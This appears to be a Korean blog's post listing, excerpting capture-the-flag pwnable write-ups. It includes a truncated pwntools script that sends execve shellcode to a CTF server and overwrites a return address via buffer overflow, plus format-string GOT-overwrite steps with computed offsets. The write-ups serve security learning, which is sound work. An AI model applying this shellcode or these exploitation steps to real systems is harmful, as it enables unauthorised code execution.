목록분류 전체보기 (365)
두 번의 입력을 받을 수 있다. 해당 위치에 bp를 걸고 값을 넣는다. ret까지 디버깅을 돌려 확인을 했다. ret값이 수정되어있으므로 bof를 이용할 수 있다. Name에 shellcode를 입력한다. ret값을 Name의 주소로 덮는다. from pwn import * p = remote("ctf.j0n9hyun.xyz",3003) context.log_level = 'Debug' shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" p.sendlineafter(": ",shellcode) payload = b"A"*(24) + p32(0x804a..
FSB를 이용하여 공격한다. AAAA의 offset은 2번째에 있다. printf의 got를 flag주소로 덮을 것이다. flag : 0x080485b4 printf got : 0x804a00c 0x85b4 - 화면출력값(0x8) = dec(34220) 0x10804 - 0x85b4 = dec(33360) 2바이트씩 끊어서 넣었다.
local_14는 포인터형 함수이다. local_14에 shell주소를 넣으면 실행할 수 있다.
-0x21524111이 0xdeadbeef이다. 기드라에서는 저렇게 보인다. 즉 bof 일으켜 local_14변수를 0xdeadbeef로 만들면 된다. 어셈블 코드를 확인하겠다. ebp-0x34가 우리가 입력한 값이 들어가는 곳이다. ebp-0xc는 우리가 덮어야할 곳이다. 0x34 - 0xc = dec(40)이다. exploit code
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.